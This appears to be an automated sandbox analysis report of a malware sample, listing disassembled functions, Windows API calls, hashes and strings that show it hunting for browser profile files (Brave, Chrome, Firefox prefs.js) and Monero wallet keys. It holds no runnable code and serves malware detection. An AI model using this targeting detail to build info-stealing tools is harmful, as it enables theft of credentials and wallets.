Opcode Fuzzy Hash: 302f01fea8ad5f19588333a890493f915e2ff18a4e4ba6830a9674f2f29c4c72
Instruction Fuzzy Hash: 6DA12171A00218DBDB34DBA4DC85FFA73B9BB89300F044589B94DAB145EB75AB84CF61

Function 00E9BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

FindFirstFileA.KERNEL32(00000000,?,00EB0B32,00EB0B2B,00000000,?,?,?,00EB13F4,00EB0B2A), ref: 00E9BEF5
StrCmpCA.SHLWAPI(?,00EB13F8), ref: 00E9BF4D
StrCmpCA.SHLWAPI(?,00EB13FC), ref: 00E9BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00E9C7BF
FindClose.KERNEL32(000000FF), ref: 00E9C7D1

Strings

Brave, xrefs: 00E9C102
Preferences, xrefs: 00E9C11E
\Brave\Preferences, xrefs: 00E9C1DB
Google Chrome, xrefs: 00E9C634

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 58a2a205951c3e3cb7ab7bbaed80741f5a26616e02911c9f7f794f5cb58bcd5f
Instruction ID: 057edf5fbd4676ba2bf255f1f61bf187f02a1d25c0e5408e804a7135708133a0
Opcode Fuzzy Hash: 58a2a205951c3e3cb7ab7bbaed80741f5a26616e02911c9f7f794f5cb58bcd5f
Instruction Fuzzy Hash: 384256729102049BCF54FB70DD56EEE73BDAF89300F445569B906BA081EF34AB49CB92

Function 00EA4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EA492C
FindFirstFileA.KERNEL32(?,?), ref: 00EA4943
StrCmpCA.SHLWAPI(?,00EB0FDC), ref: 00EA4971
StrCmpCA.SHLWAPI(?,00EB0FE0), ref: 00EA4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00EA4B7D
FindClose.KERNEL32(000000FF), ref: 00EA4B92

Strings

%s\%s, xrefs: 00EA49A4
%s\%s, xrefs: 00EA49FB
%s\*, xrefs: 00EA4920

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: a3463d930dc137c24b273d5223ebad168a6d62a2bd0825dfed9d5439bdb80e2a
Instruction ID: 3c1670365783fd4da19140a746c899a0defe0c2edc4de206bdfb89c1232c7577
Opcode Fuzzy Hash: a3463d930dc137c24b273d5223ebad168a6d62a2bd0825dfed9d5439bdb80e2a
Instruction Fuzzy Hash: 6A6155B1A00219EBCB34EBA0DC45EFB73BCBB89700F004598B949A6145EB75AB45CF91

Function 00EA4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00EA4580
RtlAllocateHeap.NTDLL(00000000), ref: 00EA4587
wsprintfA.USER32 ref: 00EA45A6
FindFirstFileA.KERNEL32(?,?), ref: 00EA45BD
StrCmpCA.SHLWAPI(?,00EB0FC4), ref: 00EA45EB
StrCmpCA.SHLWAPI(?,00EB0FC8), ref: 00EA4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00EA468B
FindClose.KERNEL32(000000FF), ref: 00EA46A0
lstrcat.KERNEL32(?,00BBFBA0), ref: 00EA46C5
lstrcat.KERNEL32(?,00BBE4A8), ref: 00EA46D8
lstrlen.KERNEL32(?), ref: 00EA46E5
lstrlen.KERNEL32(?), ref: 00EA46F6

Strings

%s\*, xrefs: 00EA459A
%s\%s, xrefs: 00EA461B

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 75ff78f72675eafe750b2b882b7f39d6abc44e638fed09a19675c4e7a89f1075
Instruction ID: 78948d73fb55697b8579444f92feea659a58b5024f0cb11245c65dc92d32cc0d
Opcode Fuzzy Hash: 75ff78f72675eafe750b2b882b7f39d6abc44e638fed09a19675c4e7a89f1075
Instruction Fuzzy Hash: 565149B1A00218DBC774EB70DC89FEE737CAB59300F405588B949A7184DB75AB84CF91

Function 00EA3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00EA3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00EA3EDA
StrCmpCA.SHLWAPI(?,00EB0FAC), ref: 00EA3F08
StrCmpCA.SHLWAPI(?,00EB0FB0), ref: 00EA3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00EA406C
FindClose.KERNEL32(000000FF), ref: 00EA4081

Strings

%s\%s, xrefs: 00EA3EB7

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a5215a619a4db3b2d9fe3bdd10b667292a5084f8cd246c39112ed406f30ba09
Instruction ID: af33566fcfd793bc06e573625e0fe19f21ff951dd4921192f0d796190cf66995
Opcode Fuzzy Hash: 9a5215a619a4db3b2d9fe3bdd10b667292a5084f8cd246c39112ed406f30ba09
Instruction Fuzzy Hash: AF5159B6A00218EBCB34EBB0DC85EFA73BCBB48300F445598B659A7044DB75AB85CF51

Function 00E9ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00E9ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00E9ED55
StrCmpCA.SHLWAPI(?,00EB1538), ref: 00E9EDAB
StrCmpCA.SHLWAPI(?,00EB153C), ref: 00E9EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00E9F2AE
FindClose.KERNEL32(000000FF), ref: 00E9F2C3

Strings

%s\*.*, xrefs: 00E9ED32

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 6515f4bb145ee73810c2a5b1f8d102ed4f5ff65e1d4393ab1c7c6711caf42601
Instruction ID: adbc050767f68a800f2ca1960bbece0ee6f857e1269551609c5eb42b16398f42
Opcode Fuzzy Hash: 6515f4bb145ee73810c2a5b1f8d102ed4f5ff65e1d4393ab1c7c6711caf42601
Instruction Fuzzy Hash: EBE162729112189ADB98EB20CC56EEE73B8AF59300F4551E9B40B76052EF347F8ACF51

Function 00E9F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EB15B8,00EB0D96), ref: 00E9F71E
StrCmpCA.SHLWAPI(?,00EB15BC), ref: 00E9F76F
StrCmpCA.SHLWAPI(?,00EB15C0), ref: 00E9F785
FindNextFileA.KERNEL32(000000FF,?), ref: 00E9FAB1
FindClose.KERNEL32(000000FF), ref: 00E9FAC3

Strings

prefs.js, xrefs: 00E9F812

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 551ef16f1198918fc635b8a75e35e698e951cb190a60607483a79a38eb90c5ef
Instruction ID: 28bc6cd71079cf5847a4f84b98af069d992ba416a5de2ba5bd958c4c2898fc07
Opcode Fuzzy Hash: 551ef16f1198918fc635b8a75e35e698e951cb190a60607483a79a38eb90c5ef
Instruction Fuzzy Hash: C3B145719002049BCB68EF60DC55AEE73B9AF59300F4495B9F40AAB141EF357B49CF91

Function 00E916D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EB510C,?,?,?,00EB51B4,?,?,00000000,?,00000000), ref: 00E91923
StrCmpCA.SHLWAPI(?,00EB525C), ref: 00E91973
StrCmpCA.SHLWAPI(?,00EB5304), ref: 00E91989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E91D40
DeleteFileA.KERNEL32(00000000), ref: 00E91DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00E91E20
FindClose.KERNEL32(000000FF), ref: 00E91E32

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Strings

\*.*, xrefs: 00E917F1

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: ee552921f51d9582c4afeaecec61f9251e75b9321221430a8896e26d87477b2d
Instruction ID: 4273d112d625e7dbde3cb4fd99394f81e3bae072acfcc59fccbf55fb698add40
Opcode Fuzzy Hash: ee552921f51d9582c4afeaecec61f9251e75b9321221430a8896e26d87477b2d
Instruction Fuzzy Hash: AC1281729102189BCB58FB60DC96AEE73B8AF59300F4551A9B1077A091EF347F89CF91

Function 00E9DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00EB0C2E), ref: 00E9DE5E
StrCmpCA.SHLWAPI(?,00EB14C8), ref: 00E9DEAE
StrCmpCA.SHLWAPI(?,00EB14CC), ref: 00E9DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00E9E3E0
FindClose.KERNEL32(000000FF), ref: 00E9E3F2

Strings

\*.*, xrefs: 00E9DE26

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: b80f26f0ab19e0f0ee74bd2c9bd563b4abd8cf5c0a0a0147f3702f99d9fc118c
Instruction ID: 0f82cdf403a88d93bb4026c1350e2a20f8cce8e82ed310f51d27c38fb90034c9
Opcode Fuzzy Hash: b80f26f0ab19e0f0ee74bd2c9bd563b4abd8cf5c0a0a0147f3702f99d9fc118c
Instruction Fuzzy Hash: 6CF10E728102189ACB59EB60DC95AEE73B8BF59300F8561E9B40B76091EF347F4ACF51

Function 01252C3F Relevance: 14.2, Strings: 10, Instructions: 1670COMMON

Download Yara Rule

Strings

J{, xrefs: 01252F00
"}, xrefs: 01253432
"}, xrefs: 0125346A
f@/, xrefs: 01253B8D
0'O}, xrefs: 012540E6
e+k, xrefs: 01253ECD
V|s, xrefs: 01253157
D=, xrefs: 012532F1
@swy, xrefs: 0125330F
~w[_, xrefs: 01252E79

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "}$"}$0'O}$@swy$J{$V|s$e+k$f@/$~w[_$D=
API String ID: 0-2876167696
Opcode ID: 5c10bfe552203f3b74e04914e580f338612775095bb72e5ffc6bf30e2faa5118
Instruction ID: 2f6ec6f092222a164f054e1ea3e2693f41288ffc5e2380c5744249b8bfdfa936
Opcode Fuzzy Hash: 5c10bfe552203f3b74e04914e580f338612775095bb72e5ffc6bf30e2faa5118
Instruction Fuzzy Hash: 1DB225F3A0C2049FE3046E2DEC8577ABBEAEF94360F1A453DE6C4C3744EA7559018696

Function 00E9DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00EB14B0,00EB0C2A), ref: 00E9DAEB
StrCmpCA.SHLWAPI(?,00EB14B4), ref: 00E9DB33
StrCmpCA.SHLWAPI(?,00EB14B8), ref: 00E9DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00E9DDCC
FindClose.KERNEL32(000000FF), ref: 00E9DDDE

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
